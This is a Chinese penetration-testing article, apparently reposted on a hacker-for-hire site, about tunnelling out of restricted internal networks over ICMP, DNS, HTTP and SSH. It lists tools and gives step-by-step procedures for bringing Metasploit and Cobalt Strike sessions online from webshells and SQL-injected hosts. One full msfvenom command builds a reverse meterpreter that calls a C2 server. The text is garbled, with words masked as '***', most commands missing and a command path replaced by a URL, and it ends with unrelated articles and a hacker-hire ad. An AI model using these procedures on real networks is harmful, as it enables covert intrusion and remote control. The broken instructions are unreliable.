内网渗透之内网穿透

hacker4年前关于黑客接单391

   *** 上关于内网穿透的文章很多,但大部分都是侧重于工具的使用,原理提及较少。本文将从内网穿透的原理开始探讨,根据不同的内网出网入网情况,灵活设计对应的内网穿透方案。

  内网穿透是:利用各种隧道技术,以 *** 防火墙允许的协议,绕过 *** 防火墙的封锁,实现访问被封锁的目标 *** 。

  什么是隧道技术呢?我们看一下百科词条的解释

  隧道技术是一种通过使用互联 *** 的基础设施在 *** 之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联 *** 传递。被封装的数据包在隧道的两个端点之间通过公共互联 *** 进行路由。被封装的数据包在公共互联 *** 上传递时所经过的逻辑路径称为隧道。一旦到达 *** 终点,数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。

  我们进行内网渗透常用的隧道技术有dns隧道、http隧道、ssh隧道、icmp隧道等容易被 *** 防火墙放行的协议。

  这些隧道技术可以按所处的协议层分层。

   *** 层隧道

  ICMP隧道等

  传输层隧道

  TCP隧道、UDP隧道

  应用层隧道

  HTTP、DNS、SSH等隧道

  内网主机所有可能的出网方式

  允许ICMP协议出网

   *** 防火墙允许ICMP协议出网,即能ping通外网主机,一般都能出网

  允许特定的TCP或UDP协议端口出网

   *** 防火墙允许特定的TCP或者UDP端口出网,比如连接外网的22、53、80、443、3389等常见应用的默认监听端口。在一个不能出网的 *** 环境里面,将所有的TCP和UPD端口都探测一遍,通常都能发现有一两个常见的端口能出网。这通常是由于 *** 管理员的错误配置和偷懒行为导致。比如配置的防火墙规则前后矛盾,解析的时候遇到匹配规则就退出执行;比如 *** 管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。 *** 管理员配置时偷懒,可能会直接放行web服务器到任意ip地址的3306端口

  允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议)

  这种 *** 防火墙能识别应用层的协议,放行允许出网的协议,比如HTTP、SSH、DNS、RDP等应用层协议;通常办公网是允许HTTP协议出网的,可能会域名白名单限制

  内网主机所有可能的入网方式

  允许ICMP协议入网

  能ping通目标主机

  允许特定的TCP或UDP协议端口入网

  NAT端口映射公网IP端口到内网主机的服务端口,比如将web服务、mysql服务NAT映射到公网

  允许特定的应用层协议入网

  这种 *** 防火墙能识别应用层的协议,放行允许入网的协议。比如HTTP反向 *** ,将公网收到的HTTP流量反向 *** 进内网主机。当前主流的入网方式,通常会加层WAF审查入网流量

  icmpsh

  能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用

  icmptunnel

  创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用

  pingtunnel

  tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用

  netcat

   *** 工具中的瑞士**,不多介绍,linux系统一般自带

  powercat

  powershell版的netcat

  socat

  具有记录转发流的功能,方便查看转发内容,需要安装

  netsh

  windows系统自带的 *** 配置工具

  lcx

  端口转发工具

  NATBypass

  一款lcx在golang下的实现,更好的跨平台,更完善的文档

  iox

  端口转发 & 内网 *** 工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险

  由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等

  dnscat2

  不仅可以创建DNS隧道,更是C2

  dnscat2-powershell

  dnscat2的powershell客户端

  dns2tcp

  TCP over DNS,即通过DNS隧道转发TCP连接

  iodine

  IPv4 over DNS,即通过DNS隧道转发IPv4数据包

  reGeorg

  SOCKS over HTTP,即通过HTTP隧道转发SOCKS

  Neo-reGeorg

  重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃

  reDuh

  TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定

  Tunna

  TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定

  ABPTTS

  TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp

  EarthWorm

  十分方便的多级SOCKS *** ,已经永久停止更新

  Termite

  EarthWorm的升级版,已经永久停止更新

  Venom

  Venom是一款为渗透测试人员设计的使用Go开发的多级 *** 工具。

  ssocks

  正向和反向的socks工具,可执行文件的大小很小

  s5.go

  go语言编写的socks服务工具,良好的跨平台特性

  ssh

  本地转发:

  远程转发:

  动态转发:

  构建ssh隧道的常用参数:

  实战背景:获取了webshell的主机位于内网,并且该内网主机icmp等 *** 层协议不能出网,tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,唯一的数据通道是反向 *** 入网的web应用。

  方案设计

  利用反向 *** 入网的web应用所在的HTTP连接,构建正向的隧道。通过这条隧道,我们可以向内网主机发起tcp连接。生成bind类型的payload,通过webshell上传执行就会监听一个端口,我们的远控平台通过构建的隧道,去连接监听的端口即可上线。

  能构建的隧道的工具有等,由于构建的tcp连接不稳定,这里选用。

  0x3.1.1 上线metasploit

  1.通过正向的http隧道构建tcp连接

  2.生成bind类型的payload,通过webshell上传执行

  3.启动msf监听,等待meterpreter执行上线

  0x3.1.2 上线cobaltstrike

  由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon *** B,并且都必须连接到父beacon,无法直接连接cobalstrike服务端,所以我们需要一个父beacon来中转连接。

  1.通过正向的http隧道构建tcp连接

  2.创建反向的listener

  

  3.生成父beacon

  

  4.上传父beacon到abptts客户端执行上线

  

  5.创建payload为tcp beacon的listener

  

  6.生成stageless的子beacon

  

  7.将生成的子beacon通过webshell上传执行

  8.在父beacon中连接abptts的监听ip和端口

  

  9.成功上线不能出网的webshell内网主机

  

  实战背景:通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网),tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。

  方案设计

  icmp协议可以出网,可以利用icmp协议,构建反向的隧道或者隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。

  0x3.2.1 icmp隧道转发tcp上线metasploit

  1.准备好一个具有公网ip的服务器,root权限运行以下命令,启动ICMP隧道服务端

  https://www.secpulse.com/archives/pingtunnel -type server -noprint 1 -nolog 1

  2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

  3.生成反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线

  4.启动msf监听,等待meterpreter执行上线

  0x3.2.2 icmp隧道转发socks上线metasploit

  1.准备好一个具有公网ip的服务器,root权限运行以下命令,启动ICMP隧道服务端

  https://www.secpulse.com/archives/pingtunnel -type server -noprint 1 -nolog 1

  2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

  3.生成支持socks5 *** 的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线

  msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe

  4.启动msf监听,等待meterpreter执行上线

  0x3.2.3 icmp隧道转发tcp上线cobaltstrike

  1.准备好一个具有公网ip的服务器,root权限运行以下命令,启动ICMP隧道服务端

  https://www.secpulse.com/archives/pingtunnel -type server -noprint 1 -nolog 1

  2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

  3.cobaltstrike创建listener

  

  4.生成反向payload的beacon

  

  5.上传生成的beacon到ICMP隧道客户端执行,成功通过反向ICMP隧道上线

  0x3.2.4 icmp隧道转发socks上线cobaltstrike

  1.准备好一个具有公网ip的服务器,root权限运行以下命令,启动ICMP隧道服务端

  https://www.secpulse.com/archives/pingtunnel -type server -noprint 1 -nolog 1

  2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道

  3.cobaltstrike创建listener

  

  4.选择创建的listener生成beacon上传到目标执行即可上线

  内网渗透中内网穿透的本质,无非是通过各种通信信道,无论是正向的还是反向的,实现传输层协议tcp/udp数据包的转发,应用层协议都是基于传输层的协议实现的。比如

  内网渗透中的内网穿透的条件,能通过某种通信信道远程代码执行。如果能通过某种通信信道远程代码执行,一定可以通过这种通信信道实现tcp/udp数据包的转发,即隧道。如果没有现成的工具,可能需要我们自己开发。比如,通过sql注入获取了shell,我们也可以利用这条通信信道转发tcp/udp数据包,没有现成的工具,需要我们开发工具而已,隧道客户端将tcp/udp数据包封装写进数据库,再由隧道服务端从数据库中读出封装的数据包解包,发往对应地址即可。

标签: 渗透测试

相关文章

联合国秘书长呼吁加大生物多样性保护力度

  新华社联合国9月30日电(记者尚绪谦)联合国秘书长古特雷斯9月30日在纽约联合国总部举行的生物多样性峰会上致辞,呼吁各国加大生物多样性保护力度,期待一项雄心勃勃的2020后生物多样性全球框架。...

360电话手表客服电话是多少

  你可以拨打官方统一售后处事电话4006822360举办售后咨询可能维修处事。有售后处事时间段,早9点到下午6点,可能你可以到官网几多咨询在线客服,举办售后维修,不知。   遐想产物客户处事中心:诸...

使数据走出数据仓库的用户画像

使数据走出数据仓库的用户画像

编辑导语:我们在用一些软件时,会发明他的推送很是切合你的乐趣喜好;这就是大数据时代,企业会按照你的各类信息赋予你一个用户画像并举办阐明;本文作者具体先容了是数据走出数据客栈的用户画像,我们一起来看一下...

七擒七纵的主人公是谁?七擒七纵指的是谁

七擒七纵的主人公是谁?七擒七纵指的是谁

七擒七纵,是绝对自信的人才能做出的决策。   今天我要给大家讲的成语故事叫做七擒七纵,这个成语的意思是运用策略,使对方心服,归顺自己。这个成语来自《三国志.蜀志.诸葛亮传》。公元225年,蜀汉...

王者荣耀51返场皮肤是武陵仙君还是蜜橘之夏 2020五一返场限定皮肤确定

王者荣耀五一返场皮肤是什么?王者荣耀五五开黑节返场皮肤是哪一款?王者荣耀51返场皮肤是武陵仙君还是蜜橘之夏?想必有不少的小伙伴们都想知道吧,下面是王者荣耀2020五一返场限定皮肤介绍,感兴趣的小伙伴们...

我需要一个黑客朋友(黑客需要掌握的技术)-手机版黑客软件网站

我需要一个黑客朋友(黑客需要掌握的技术)-手机版黑客软件网站

我需要一个黑客朋友(黑客需要掌握的技术)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑...